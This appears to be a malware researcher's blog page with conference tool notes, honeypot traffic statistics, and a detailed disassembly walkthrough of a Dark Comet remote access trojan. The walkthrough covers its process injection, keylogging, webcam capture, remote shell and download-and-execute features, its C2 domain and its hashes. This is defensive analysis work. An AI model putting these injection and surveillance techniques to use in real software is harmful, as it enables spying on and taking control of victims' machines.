ZIRCONIC – Page 2 – Exploring various friendly attachments I receive in my Hotmail account (and other places)

NYMJCSC Notes and Other Things

Posted on October 11, 2016 - October 7, 2016 by rhyolite

I attended the third annual New York Metro Joint Cyber Security Conference on Wednesday, October 5th and I got to see Lenny Zeltser’s presentation in the morning. I had been up until about 2 AM that morning working on a project to submit to someone, so I got a bit of a late start but managed to make it into the room just as he was beginning his talk.

Lenny’s talk was his usual great content, this time focusing on sort of a “Malware 101” for the attendees. Lenny has a framework for malware analysis which starts at the simplest (automated analysis) and escalates in difficulty up to manual code reversing at the top. He covered his first three areas which encompassed automated analysis (sandboxes), static and dynamic analysis.

Some of the tools he mentioned were new to me, and I plan on checking them out. The most interesting ones to me were:

PE Studio
Nice tool for looking at PE headers. You can see full feature list on their site. Notice that there’s a standard and professional license and the feature list reflects what you can and can’t do with each. The interface looks really nice, and there are some features in the standard (free) edition that could be really helpful like entropy detection and anti-debugging import detection. There are a few things missing in the standard edition, though, like listing exports and resources that I’d miss if I switched to PE Studio completely, so I think I’m going to add this to my toolbox and switch back and forth between this and PEview. If budget were no option, I’d definitely start using the professional version of PE Studio going forward, though.

CaptureBAT
CaptureBAT is a tool that, as Lenny put it, makes a good compliment for something like Process Monitor. This software records state changes and is good for capturing information on file creation, deletion, and other things that you’d be interested in knowing about during dynamic analysis. The only issue with CaptureBAT is that it’s only for 32-bit Windows systems. Lenny said that NoVirusThanks has some tools that can approximate the same functionality for 64-bit machines, though.

ProcDOT
This is a really cool tool for visualizing the output of Process Monitor logs. I wish I had this when I was working on this copy of Adwind and I was manually doing the visualizations. Basically, you let Process Monitor collect data and then you export the data as a .csv and then import this into ProcDOT. ProcDOT will then graph this data and visually show you process and thread creation, function calls, etc. You can see some examples of this output on the ProcDOT blog. I’m definitely going to start using this. I remember having a sample that created 16 child processes and I went through all of that manually, which was no fun…

REMnux
This is a Linux distribution maintained by Lenny Zeltser that comes preloaded with tools for malware analysis. You can browse the full tool list yourself, but this comes with a ridiculous amount of tools both for doing malware analysis directly and for activity in support of malware analysis (such as simulating an Internet connection). I almost think of this as like a Kali for malware.

As far as the other things, I’m going to write up a couple of little topics that came up during some of my analyses that might be of interest to people doing malware analysis.

An easy way to capture dropped files before they are deleted

In one of my Adwind analyses, I noted that there were two .vbs files dropped that were deleted by the malware after execution. I didn’t have any tool that I could use to intercept these files, but I could see where they were being dropped by reviewing Process Monitor results. What I did was I created a .bat file in that directory that contained the following lines:

:loop
copy *.vbs *.vbs.bac
goto loop

Nothing groundbreaking here, but it worked. I put this file into the directory where the malware dropped the .vbs files, and then started the .bat file before I started the malware. When the malware executed, this batch file was able to catch both of the dropped files and made a copy for me to review later. Obviously you could change this to work with different types of files or whatever else you wanted, but this was just a really quick and easy workaround to this issue.

Not very obvious file deletion in Process Monitor

DeleteFile is a fairly common imported function in malware I’ve analyzed, so you’d think that you’d see calls to it in Process Monitor. Another thing I’ve observed is some malware will delete files from a command prompt, and this is fairly easy to pick up in Process Monitor as well. This copy of Adwind, however, deleted files in such a way that it wasn’t immediately obvious to me. What it did was make a call to SetDispositionInformationFile to set Delete:True. If you have files that “disappear” during your analysis, take a look in Process Monitor and set a filter on Operation for SetDispositionInformationFile — you should see the disappearing files show up here. Basically, when this is set to True, then the file is deleted when it is closed, as explained by this MSDN article. This blog post from Malcolm McCaffery goes into more detail here and explains why you shouldn’t expect to see a call to DeleteFile in your Process Monitor results.

That’s all for now.

September 2016 Honeypot Results

Posted on October 4, 2016 by rhyolite

Honeypot update – I still have four Dionaea honeypots running in NYC, Frankfurt, Bangalore and Singapore (the GRAB series) and a single Conpot running in NYC (JUMPSEAT).

sepstats1

I didn’t have a similar issue in September as I did in August (when the sheer volume of traffic caused the honeypots to run out of inodes in the first 3-10 days of the month) though Frankfurt ran out towards the very end of the night on the 30^th of September, so that cut it close a bit.

GRAB-NYC03:
Connections: 752,296
Unique IPs: 19,507
Files Downloaded: 5
sepstats2

sepstats3

Interesting to see Kazakhstan make the list this time, with Romania making up a sizable portion of the totals this time around.

sepstats4

UPnP, again, strongly the most popular, and therefore no surprise when we look at the ports:

sepstats5

sepstats6

The top IP address, 40.84.185.138 leads back to Microsoft, actually, as do the next three addresses. 191.237.45.46 apparently leads back to Microsoft also, but this particular entry gets associated with someone apparently with Microsoft in Brazil (Benjamin Orndorff, who apparently is located in Seattle). Maybe this is just a provocation… The next two after that lead back to hosting providers in Europe, while the one after that, 65.19.129.154, seem to lead back to an electric company in California, with a NOC in Sterling, VA. The last two are Microsoft and a hosting provider in Canada.

Here’s a map showing the attacker locations:

sepstats7
sepstats8

Next is the Frankfurt honeypot:

GRAB-FRA01:
Connections: 1,127,930
Unique IPs: 20,659
Files Downloaded: 15

Pretty spectacular number of connections – this is a new personal record for any of my honeypots.

sepstats9
sepstats10
Vietnam making the top 3 this time!

Similar results in terms of the shape of the graph for services, but wow – over a million UPnP connections.

sepstats11

sepstats12
sepstats13
The top IP address leads back to some person in Vietnam. The second highest leads back to that electric company. Turns out it’s actually a hosting provider (Hurricane Electric), so not mysterious anymore. The remainder are hosting providers in France, Hong Kong, and also some of the same parties from Microsoft that we saw earlier with GRAB-NYC.

Now for the maps:

sepstats14
sepstats15

GRAB-SIN01:
Connections: 500,737
Unique IPs: 21,688
Files Downloaded: 10,518

Again, not a mistake – this honeypot set a new record for number of samples collected. Like last month – almost ALL of these downloads were Conficker variants. I did find one other piece of malware in there (Parite-C). I find it really interesting that there is so much Conficker in this region, and how it doesn’t seem to spread to my other honeypots.

sepstats16
sepstats17

India makes the list, which is a first, as well as Venezuela and Ireland.

sepstats18

sepstats19

Services and ports are pretty much in line with other regions.

sepstats20
Microsoft coming in at number 1! And 2, and 3, and 4, 5… and 7… and 10. What the hell? The rest were just some hosting providers in various places (one in India).

Now, maps:

sepstats21

sepstats22

Bangalore:

GRAB-BAN01:
Connections: 457,464
Unique IPs: 21,221
Files Downloaded: 2

As usual, dismal number of files collected from Bangalore. Also, like last month,this honeypot has the highest number of unique IPs of all the GRAB honeypots.

sepstats23

sepstats24

Services/ports in line with other regions:

sepstats25

sepstats26

Microsoft dominates these results also, 7/10. The rest are hosting providers (including one from AWS).

sepstats27

Some maps:

sepstats28

sepstats32

Much more activity on JUMPSEAT in September, here are the total connections by protocol:

sepstats30

Last month saw Modbus as the most popular protocol, followed by all variants of HTTP, so much different this month. Perhaps the parties involved noticed that my honeypot doesn’t quite seem right and stopped bothering.

sepstats31

Lots of activity, but nothing as clearly anomalous as when we had shodan.io scanning the honeypot in August. 80.82.70.24 leads back to a hosting provider in Seychelles. 184.105.139.67 is Shadow Server, again. 52.42.34.123 leads back to Amazon while the next two lead back to Poland. One of them is actually a security company I’m familiar with! Hello there! The last one leads back to UC Berkeley.

That’s it for September, on to other things.

Dark Comet (Part II)

Posted on September 27, 2016 - July 5, 2018 by rhyolite

Continuing from last post… This is my first time disassembling a sample this big, so I’m going to do my best to explain things in a way that makes sense. It’ll be an interesting exercise to figure out how to keep track of such a large disassembly as I go along.

The start function is located at 48F888 and one of the first things that happens here is 0x30 is MOVed into ECX (768 decimal) and this is used for a loop that consists of pushing 0 onto the stack twice (so, at the end of this loop, you’ll have 1,536 zeroes pushed onto the stack). After this, there’s a parameter pushed onto the stack, located at 48E3C0 (which points to 0xA1) and then a call is made to a subroutine at 4076D4. This sub moves the TlsIndex then pushes a module name onto the stack before getting a handle to that module. Within this sub is another subroutine at 4051DC. In this subroutine, we see a couple of double words being set up to point to RaiseException (495014) and RtlUnwind (495018), and then a call to another subroutine at 4050C8 which directs some activity towards FS:

2dc1
I think this will be a lot easier to discern when being debugged. I’m curious what offset this takes at runtime. What’s also happening here is that you can see the pointer at EAX+4 being set to the location 405028, which contains some code related to calling an unhandled exception filter.

The next call after these branches is to 405174, where the code starts to get busier. A bunch of things are pushed onto the stack, and then we see that the double word at 4977D0 (which we saw had something put into it earlier, during the execution of subroutine 4051DC) is put into EAX and then this is TESTed. If the contents of dword_4977D0 is equal to 0, then we jump to the end of this subroutine and we return. Otherwise, execution continues and we hit the first block of code of 405174:

2dc2

We have the contents of the area pointed to at EAX being MOVed into EDI, then we can see that the target of the pointer at EAX+4 (which, currently points to that little block of code having to do with structured exception handling) is put into EAX. This then gets put into the target of var_4 and then EAX gets cleared out. We see something located at 4051C1 get pushed onto the stack – this turns out to be a single instruction, JMP sub_404B30, which contains exception handling information:

2dc3

Not to go too far down this rabbit hole, there are some interesting things in this sub 404B30. One interesting thing is one branch where a subroutine at 40450C is called:

2dc4

I’ve seen other examples of using “f-” instructions as part of some sort of shellcode techniques – I’m not too familiar with these instructions but my intuition is that this isn’t what’s going on here.

Later, after the call to 40450C, we see that something at dword 495010 is put into EDX and then EDX is TESTed to see if it contains anything – if it’s not 0, then it’s used as part of an indirect call. I couldn’t find any direct references to this double word (in terms of putting an address in there) so this is probably another thing that will have to wait until debugging. What’s interesting is that whatever is at this indirect call controls a significant portion of the remaining flow of this subroutine. If this subroutine returns 1, then the entire subroutine branches to an exit, and overall this subroutine returns 1. Otherwise, we continue to branch through these other areas related to exception handling. As part of the “failure” branch, we see a call that ultimate results in an indirect call to RaiseException:

2dc5

Various other calls are there, to RtlUnwind, to the unhandled exception filters, etc. Towards the end, there is a call to 407644. Several layers deep into this sub, we find some branches related to exiting the application with an error, and writing this information to a file:

2dc6

We also see that an error message can be put in a MessageBox:

2dc7

Overall, we step all the way back up to where we entered these many branches, and we’re back to 48F8A0, continuing now that the malware has set up its error and exception handling mechanisms.

Next we see EAX being zeroed out and then some things being pushed onto the stack before a call to CoInitialize. These things being pushed don’t really mean much to the CoInitialize call, though, as this takes only a single parameter which is reserved and must be null (per MSDN: “This parameter is reserved and must be NULL”). One of the things pushed, though, was a location (490656) which contains an instruction to JMP to a subroutine at 404DE4. This appears to go down a similar rabbit hole as earlier, with similar instructions to the error handling stuff discussed above. Shortly after this, there is a call to a subroutine at 481628. This is where we appear to get into the real “malwarey” activity.

This subroutine begins with some setup and also a reference to some of the exception handling material we already saw. Next we see the value 0x320 being MOVed into EAX and then a call to a subroutine at 402F00. The first thing this subroutine does is TEST EAX, EAX and then jumps if the result is less than or equal (JLE). I must be missing something, because I would think that if you just MOVed 0x320 into EAX, then you have a JLE, you should always follow the jump – it becomes sort of an unconditional conditional (equivalent to a JMP). Here’s a quick look at this area of code:

2dc8

I’m wondering if there is some sort of anti-disassembly tactic going on here. Sometimes you might see a conditional jump that appears to be “always taken”, like what I seem to observe above or something like this:

XOR EAX, EAX
TEST EAX, EAX
JZ <location>

So here we’re zeroing out EAX and then TESTing it – since we just zeroed it out, the zero flag (ZF) should be set a this point so therefore the JZ (jump if zero) should ALWAYS be followed. Sometimes malware authors can do things like this with the opcodes in order to get code to disassembly incorrectly (but still execute as intended, it’s just fooling the analyst). When I undefine this section of code and then start redefining different slices of the opcodes as code again, I don’t come across anything that appears to be meaningful, so for now I’m going to leave this be and just note that this might be someplace I need to come back to. Overall, I wouldn’t say that this is a terribly “hostile” sample, though, so I’m not as suspicious as I might be from seeing something like this.

Within this subroutine however, we eventually get sent to a somewhat mysterious, complicated and large subroutine at 401A0C. I’m not able to fully understand what this subroutine is doing – The beginning of the subroutine almost makes me think that it’s looking for an address:

2dc9

I suppose this could be anything, but I feel like those values look similar to addresses. I’m not sure if this would even make sense for a sample of this age, since I think that chances are pretty slim of finding anything at a specific address in any version of Windows you might find out there for the last few years. I don’t recall when address space layout randomization first became prevalent, but I believe it was at least several years before this sample was found in the wild. The rest of this sub is full of arithmetic operations, shifts, rotations, compare/exchanges, and bitscans. At one point, this subroutine also calls another subroutine that allocates memory somewhere. Normally I would associate all of this with some sort of coding routine, but I feel that this isn’t the case here. I’m going to rename this subroutine MaybeDecoding and move on. Just in case it’s of interest, here’s a higher-level view of this subroutine, to give some idea of the activity going on here:

2dc10

Coming back up to 481628, next we see calls to GetCurrentProcess and OpenProcess followed by Sleeping for 1 millisecond. One of the parameters PUSHed onto the stack is the token handle – perhaps the “coding” routine we were just discussing was some method to find an appropriate token. Perhaps the bit scanning functions had to do with that also.

Below this, we then see a call to GetTokenInformation:

2dc11

I notice that number we saw earlier, 0x320, being pushed as the TokenInformationLength. Seeing this number in relation to tokens makes me think that the earlier subroutine was in fact doing something related to finding a particular token or type of token. I’m going to rename the sub accordingly.

After this call to GetTokenInformation, we see additional calls to that token search subroutine, and then we see the malware looping around getting privilege names:

2dc12

The subroutine at 405728 compares CL with the non-zero memory contents of four bytes beginning at [EDX]. There is a mechanism to increment EDX, but what’s interesting here is that this sub 405728 does not end with a RETN but rather with a JMP to a subroutine at 405620. This subroutine runs through some of the same code as before related to token searching / possible antidisassembly and then also calls a subroutine at 4030FC (if the token search function was successful, as an intermediate step) and 405530 (after 4030FC, or simply as the next subroutine in the event that the token search / anti-disassembly routine was unsuccessful). 4030FC conducts a number of arithmetic and floating point operations using EAX and ECX. 405530 leads us down some paths that includes code we’ve seen before, like the area that was focused on shifts/rotations/bitscanning of information. These branches within these subs lead us to more manipulations, more shifts/rotations of values, and even an exit path.

Stepping back up to 481628, the next subroutine being called is 4814E8. Within this subroutine, we see the process token being opened, and also some error handling functions. What’s very interesting is that later on in the code, we see the privileges of a token being adjusted in order to remove all privileges:

2dc13

I wonder if this is some scheme to hide activity from the user. I’ve read about techniques involving replacing user privileges with administrator privileges so that the malware can more stealthily conduct activity that normally would appear in Event Viewer. This is going to be my working model for this, at least for now, as I haven’t really heard of malware that “de-escalates” privileges. After some more calls to the manipulations code we’ve already seen, sub 481628 finishes and we’re back up top at the Start function.

The next subroutine, 48DECC, conducts more transformations of data and floating point operations. 48DF40 is the next subroutine called, and we see “DCDATA” being MOVed into EDX shortly before this call, as well as having its own exception handling being set up right before that. The major things that 48DF40 do include:

– Sub 48DDC0 which involves finding/loading/locking/freeing the .rsrc section, as well as some of the previously seen floating point operations and token activity
– Sub 405864 which involves more of the same token activity and floating point operations

The next sub, 48DF40, contains many, many manipulations and floating point operations, as well as a possible exit path. I’m not interested in digging through what all of these are doing, as I want to keep moving on to what I consider to be the main malware operations. After that, sub 40F21C calls GetModuleFileNameA and also one of the manipulations subs from earlier. Next, 40A588 was not obviously interesting, though right after that we see an offset for “GENCODE” MOVed into EAX and then a call to 47DFE4.

Digging into the subroutine at 47DFE4, I continue to get bogged down in what appear to be endless manipulations of various registers and floating point operations. I’m not really trying to reverse this sample in the sense that I want to understand exactly how it works (how it is written / could be rewritten) but rather I want to disassemble it in order to try to glean the interesting parts of the malware functionality. It’s a good exercise in any event, as this is the largest sample I’ve ever tackled, but I think I’m going to change my tactics on this. I’m going to start looking at specific functions and strings of interest and then work around those in order to try to get to the interesting stuff faster.

Going in no particular order, I’m going to take a look at mutex creation in this malware. We saw earlier that a mutex DCPERSFWBP was created. This string appears in the malware and is referenced in a subroutine at 42F27C, which turns out to be a very interesting subroutine. We see some manipulations and floating point operations being done, and then we see some of these being done in the context of notepad.exe:

2dc14

The first reference we see to DCPERSFWBP follows this, right before a call to CreateProcessA:

2dc15

After that, we see something odd:

2dc16

We have a series of strings being used in conjunction with a call to a subroutine at 42EB10. This subroutine consists mainly of calls to an earlier privilege name searching subroutine, and then a call to VirtualAllocEx and WriteProcessMemory.

After that, we see calls to GetModuleHandle and GetProcAddress:

2dc17

This looks familiar and strange at the same time. This looks like the malware is getting a handle to a module and then calling GetProcAddress in order to get the address of a function to import. Maybe this is something to do with how Delphi handles this sort of task. I’m more used to seeing the LoadLibraryA/GetProcAddress combination.

Towards the end of this block of code is a call to a subroutine at 42EBD8. The main things happening in this thread are a couple of calls to subroutines that call VirtualAlloc and WriteProcessMemory, then a call to CreateRemoteThread:

2dc18

Another aspect of this malware that’s interesting to me is the surveillance capabilities, such as the keylogging and webcam functionality. There are some strings that lead me to these places, such as CTRLA and WEBCAMLIVE. I notice that there seems to be a common subroutine found whenever named functionality appears to be called – see a couple of screen shots below:

2dc19

As you can see, the offset for WEBCAMLIVE is MOVed into EDX right before 405974 is called. This code comes from an absolutely monumental subroutine beginning at 4850A8.

2dc20

Here we see this same subroutine being called, this time in the context of recording CTRL key combinations in the keylogger. This code comes from a subroutine beginning at 481A6C.

405974 is interesting because there doesn’t appear to be an obvious call to something that would cause the action to take place. 405974 begins with a few comparisons and tests:

2dc21

As you can see, there is a comparison of two registers (EAX and EDX) and then a TEST between the same two (though in different order). What we’re missing from this view is that prior to 405974 being called, a parameter is put in EAX while EDX receives an offset pointing to the action – here’s a view of this coming from 4850A8:

2dc22

Going back to 405974 now, we:
– compare the two – if equal (zero), we jump to a RETN
– test the two – again, if equal (zero) we jump to another test
– at this second test, we test to see if EAX is zero – and if so, jump to a couple lines of code where we compare the variable 4 bytes behind the current offset in EDX to what is in EAX, and then RETN
– if EAX is nonzero, then we test EDX to see if it’s nonzero (see below for more code), continuing with the code if it ISN’T zero (at which point, we execute a couple of lines to do a similar comparison of what lies in memory at EAX-4 bytes with EDX)

2dc23

– If we get through all of that, then we MOVe with zero extend what is in memory at the location specified at EAX into ECX, then subtract the lower byte of ECX from the contents of EDX, jumping to a RETN if this results in a nonzero result
– Next (see following image), assuming we didn’t jump to the RETN, we can see some manipulations taking place – contents of EBX get saved by PUSHing them onto the stack, then we see the contents of memory at EAX-4 bytes being MOVed into EBX. The contents of EDX-4 bytes are subtracted from EBX, then we get this new result PUSHed onto the stack also. What’s in ECX (which, remember, contained the contents of memory at EAX-4 bytes with the contents of EDX subtracted from the low byte at CL) has 0xFFFFFFFF added (with carry) to it. The result of this will be to take the contents of ECX, add 0xFFFFFFFF and the result of the carry to ECX. ECX and EBX get ANDed and then we see the contents of memory at EAX-4 bytes being subtracted from ECX, then ECX being subtracted from EAX, and then finally ECX being subtracted from EDX. Some sort of decoding?
– In the next block of code, the contents of the memory stored at the address resulting from the sum of ECX and EAX are MOVed into EBX. This then is XORed with the contents of memory located at the address resulting from the sum of ECX and EDX. This block finishes with a Jump if the zero flag is set.

2dc24

– If the jump is not taken, then we ADD 4 to ECX and loop (via the JS) if the sign flag gets set, otherwise we follow a branch where we POP EAX, add EAX to itself, and the POP EBX before continuing to the RETN. Stepping back through the code, the contents of EAX should be the last thing PUSHed onto the stack (which was the contents of EBX, which had the contents of EAX-4 bytes MOVed into it before having the contents of EDX-4 bytes subtracted from it) and the contents of EBX should be the next thing on the stack, which in this case would be the returned value from a successful call to recv in the WS2_32 library. In order to find this, I had to move up several levels in the code, and will put another screenshot below showing this.

2dc25

Screenshot showing the contents of EBX, code copied from subroutine 479E38:

2dc26

Coming back to 405974 now – there’s a final branch to look at, see below:

2dc27

– Once the loop is finished (and the JNZ is taken), then we enter a block where we bitscan forward (BSF) EBX with itself, and then shift the result to the right by three places. This new value in EBX gets added to ECX, and then we come to another conditional jump. If the jump IS taken (sign flag did NOT get set) then we head over to that branch already discussed where we have values being POPped into EAX and EBX. Otherwise, we go to the last block of code to look at in this section.
– If the sign flag does get set, then we move the contents of ECX+EAX into AL, compare AL with the contents of ECX+EDX, and then POP the last two values on the stack into EBX before returning, which in the process loses the first value that was left on there (which was the contents of EBX, which had the contents of EAX-4 bytes MOVed into it before having the contents of EDX-4 bytes subtracted from it) and leaving only the second thing PUSHed onto the stack in EBX (the returned value from a successful call to recv in the WS2_32 library, after the BSF and SHR have been executed on that value).
– Finally, keep in mind that the discussion of what is in EBX here is going to be dependent on exactly where this subroutine is called – in the example I gave above, this particular instance of using the code had to do with values returned from the call to recv, but this sub 405974 is called 357 times in the malware so obviously the values of the registers can vary widely from call to call.

So what does this entire mess actually mean? To be honest, I’m not entirely sure. Overall, we have an action being taken depending on whether or not a parameter being passed to the function matches a string stored at an offset. I’ve observed MANY different situations and offsets in this code. At first glance it’s almost as if the malware has a parameter passed to the function and then it checks against several different command names within that function. It sort of appears to be an inefficient way of doing this, since in some cases you almost cascade through a large number of code blocks checking along the way. It also looks like this is some sort of way to decode an address within the malware execution. There’s a .reloc table within the PE header, perhaps this is some way of finding functions within the code if the malware is able to ascertain where parts of itself have been relocated? I think I need to look at more samples of malware written in Delphi so that I could get a better idea of what is happening. Coming from a background of looking at samples written in other languages, this code doesn’t appear to really “do” anything so I suspect that this is just my lack of knowledge of Delphi showing through. At least you got treated to an excruciating walk through of some assembly code!

Moving on to other malware functionality, going through the functions imported in IDA I notice that there’s a subroutine beginning at 478968 that contains a call to CallNextHookEx. The malware could hook things for various reasons, but in checking this subroutine out we see that it begins with some code that includes the call to CallNextHookEx, and then a check is done to make sure that the hook code passed is nonzero:

2dc28

If it is nonzero, then we jump to a code section built around another call to CallNextHookEx, before doing some cleanup and returning. Otherwise, the code continues to an area containing a couple of large switch statements (overall a couple dozen cases, see graph below):

2dc29

Within here, we see code that calls GetKeyState and also branches that will allow the malware to add other information to the log file, such as the code that adds in statements about the clipboard status and other things:

2dc30

Here’s an example of one of the subordinate subroutines showing a reference to text that gets added to the log file for clarity:

2dc31

I went looking for a reference to UrlDownloadToFileA and found one in the giant subroutine 4850A8. Here’s a graph of that subroutine to give you some idea of the scale:

2dc32

Somewhere very close to the bottom one finds a reference to UrlDownloadToFileA. It’s not clear from the disassembly precisely what file is being downloaded, however we can see later that if the file is successfully downloaded that this status update is reported and also this file is executed after downloading:

2dc33

We can also see the reference to Bots here, suggesting this is part of the functionality offered via this malware. What I’ve also noticed in browsing through this very large sub is that there appears to be another subroutine that is similar in its role in the malware to 405974. You might recall that 405974 was the subroutine taken apart in some detail earlier, and this was one of the subroutines that would “do” whatever was being referred to in the malware according to a particular string. I’m noticing that this new subroutine at 405A84 also appears to fulfill a role like this (and happens to be referenced 296 times, a similar volume compared with 405974). I’m not going to go into the same amount of detail in looking at 405A84, but this new one seems simpler while also have some resemblance to 405974.

Further along in 4850A8, we see references to some of the bot-type functionality related to floods:

2dc34

Here’s a reference to remote shells:

2dc35

References to using the webcam and capturing audio:

2dc36
2dc37

There are many other references that suggest additional functionality such as getting torrents, sharing the host desktop, getting the victim’s clipboard contents, playing sounds, opening and closing the CDROM drive, opening Task Manager, and other things.

Here’s a little thing I noticed going through other areas of the code:

2dc38

I’ll keep this in mind for the signatures part of this analysis.

471E70 is where we see references to several registry changes, including ones related to persistence:

2dc39

In the subroutine at 483A04, the malware obtains and names the version of Windows it is running on:

2dc40

For some reason, the only version it explicitly names is Windows Server 2003 (in terms of referencing a string):

2dc41

I’m getting to the point where I need to move on from this sample, so let’s take a look at some of the stuff I dumped using Volatility. Starting with the second of the two iexpore.exe processes, there was code injected at two places. Looking at what I dumped from the first place (at 0x420000), I see what appears to be several hundred lines of a sled that all lead to a jump to 0x76AD9204, example below:

2dc42

I tried attaching a debugger to this process to see what was at this location, but none of them allowed me to (all of my versions of Olly and Immunity). The other dump from this same process, at location 0x5FFF0000, didn’t make any sense, so I’m not sure what this is.

Looking in the dumps from the notepad.exe process, two of the dumps contain code that I can’t make sense of (I wouldn’t call them spurious just because I don’t understand them…) but one of the injected areas does appear to contain code with many indirect function calls (found at 0x1A0000):

2dc43

I’m wrapping up this analysis at this point, as think I’ve gotten as many interesting things as possible out of this, particularly during the dynamic analysis in the previous post. I could spend a lot more time on this sample, and maybe down the road I should so I can get a better handle on Delphi. There are a few more things I’d look at if I had more time:

– Figure out what is preventing me from attaching to one of the injected iexplore.exe processes and further investigate the address I found in the injected code. One other thing of note related to this, is that while there is a TLS section (which as far as I know is normally associated with antidebugging techniques), IDA does not see an entry point associated with it.
– How the domain name is generated within the code, as I did not see any string looking like “max19916.hopto.org”
– The log file generation code (it appears to be pretty simple, but I would still be interested in seeing the specific code that does this)
– Where the code actually specifies the msdcsc.exe file name (again, I did not see a direct reference to this in the disassembly, nor for the directory name generation)
– Mutex name generation (we saw that there is a static piece that we did find, but there is also a dynamically generated piece)

References:
https://en.wikipedia.org/wiki/.bss

Findings and observations:
Remote access trojan coded in Delphi. Extensive functionality to monitor user activity (inputs, files, desktops, remote shells, audio/video equipment). This malware also appears to have capabilities more often related to botnets (such as DDoS capabilities).

Recommendations:
Avoid downloading files hosted publicly on DC hubs (or other P2P services). Don’t allow users access to these services without some vetting (e.g., an IT professional may need access to bittorrent in order to obtain Linux ISOs). Keep regular users from running in administrator mode, as there was a bit of lost functionality for the malware in terms of system control when run as a regular user. Blocking the domain max19916.hopto.org would be good, but given the number of shady sites hosted at hopto.org it might be best to simply block the entire domain.

Conclusion:
A very interesting sample, particularly around how it was being distributed. The extent to which one could invade a victim’s privacy with this malware was a bit disturbing.

Report:malexe005

Hashes:
MD5:be1fa25529308e909381777bcd7f0e92a
SHA1:9a3c2eefb12d527d2d7377a8c6f96854baf566c9
SHA256:d673493ef6288338bace20a165b32b7fb897400e943c7b313a0cef3d1cba22dd
ssdeep:12288:C9HMeUmcufrvA3kb445UEJ2jsWiD4EvFuu4cNgZhCiZKD/XdyF5:uiBIGkbxqEcjsWiDxguehC2SE

Dark Comet (Part I)

Posted on September 20, 2016 - September 6, 2016 by rhyolite

I went looking for new places to find malware and decided to check out DC hubs. Think of these places as sort of like Napster (for those of you who can remember Napster). I’ve heard of private hubs, and have been on a few myself, but those were generally both vetted and clean. I went looking through various public hubs for stuff that sounded shady.

Most of the stuff I found was just pirated software or movies, but there were a couple of users who I suspect might be the same person due to the naming style and content shared. On a few hubs I found users with some variation of “torrent” in their names (e.g., torrent_com, torrentino_net), etc. and their shares looked pretty odd:

dc1

This folder is basically 17gb of files all with extremely similar sizes (as you can see, typically only a few bytes different from one another). Running ClamAV against my newly acquired files, I found “a few” things:

dc2

Looks like the motherlode of malware here. What I thought was interesting was that the file names spanned all types of files and applications – you saw copies that were supposed to be installers for Adobe products, Windows, games, utilities, porn, music, everything. I’m guessing that this person put these out there hoping to catch people searching for particular things who wouldn’t necessarily check his file list (and I guess they were also hoping that someone wouldn’t notice anything amiss about a full copy of Adobe Lightroom that was only 574k).

Each username appeared to have a different set of malware – for example, in torrentino_net’s folder “НУЖННННННОООООООООООООООООООООООООО” (means needed or necessary, as adverb) was almost entirely Dark Comet, while the other user had different things (though it was mostly that Trojan.Inject-15717 you see in the screenshot above). I’m going to see what I can find in one of the Dark Comet samples.

Static Analysis

I usually start with the strings, but this is relatively a huge file compared with what I normally work with (roughly 10 times the size in bytes of stuff I’ve worked on so far) so I started with some tools first. PEiD, as well as some strings found in the file, indicate some crypto signatures, as well as the fact that the program was written in Delphi:

dc3

I wouldn’t really call these crypto signatures since what we seem to be looking at are functions used to check the integrity of the file. The ZLIB reference suggests that something is compressed in the file. Maybe this has a .PDF or something inside it that it uses for something.

PEview indicates that there’s a TLS table, so maybe this is for anti-debugging (to get code to execute before the debugger breaks the program). The number of data directories looks normal. This program has several sections, and all of them except one looks normal in terms of virtual / raw sizes:

dc4

Normally if I saw a section that had such a discrepancy between the raw and virtual size, I’d think that there was something packed there. In the case of .bss, this is a section that contains zero-valued bits initially (at the time of execution) and so only the length of the section, but no data, is stored in the header.

We also see there’s a whole lot of stuff in the .rsrc section:

dc5
Opening the malware in Resource Hacker, we see that it has a bunch of mouse pointers under “Cursor” in the .rsrc section. There is also a section called “String Table” with some interesting things in there. The very first table (4083:0) appears to contain strings related to a help function. 4085:0 contains many strings that make me think of a keylogger:

STRINGTABLE
LANGUAGE LANG_NEUTRAL, SUBLANG_NEUTRAL
{
65344, “Yes to &All”
65345, “BkSp”
65346, “Tab”
65347, “Esc”
65348, “Enter”
65349, “Space”
65350, “PgUp”
65351, “PgDn”
65352, “End”
65353, “Home”
65354, “Left”
65355, “Up”
65356, “Right”
65357, “Down”
65358, “Ins”
65359, “Del”
}

Keys such as “Left”, “End”, “Ins” and so on don’t have a visible character associated with them, so if you were logging keystrokes you would need some other way of recording these. I’ve seen samples that would check for whether or not these keys were pressed and would then insert these strings into the keylogging file so that the author can follow what’s being input.

As I go through these, it’s interesting to see that all of these strings are in English. The rest of the string tables are basically error messages of one type or another, but nothing too useful for our purposes. The last section is “Version Info” which contains:

dc33

Going back to PEview, the address table of the .idata section gives up LOTS of information, all in the clear. It imports:

advapi32.dll
avicap32.dll
comctl32.dll
gdi32.dll
gdiplus.dll
kernel32.dll
msacm32.dll
netapi32.dll
ntdll.dll
ole32.dll
oleaut32.dll
shell32.dll
shfolder.dll
urlmon.dll
user32.dll
version.dll
wininet.dll
winmm.dll
ws2_32.dll
wsock32.dll

Things I found interesting in these imports include:

Advapi32.dll: I see RegQueryValueExA, RegOpenKeyExA, and RegCloseKey. I wonder if this is used to do a system inventory or other reconnaissance of the host system. I also see RegSetValueExA, RegEnumValueA, RegDeleteValueA, RegCreateKeyA and RegCloseKey so I’m guessing there’s something done in the registry to either make the system more friendly towards the malware (such as disabling a firewall) or to achieve persistence. A very interesting import here is AdjustTokenPriveleges, which can be used to enable privileges for a process. I’m guessing that this is used in conjunction with the process injection/replacement functions (discussed later in this section) to gain additional permissions for the malware. I also see CreateServiceA, StartServiceA, and DeleteService, so the malware probably runs at a service and might also achieve persistence as a service.

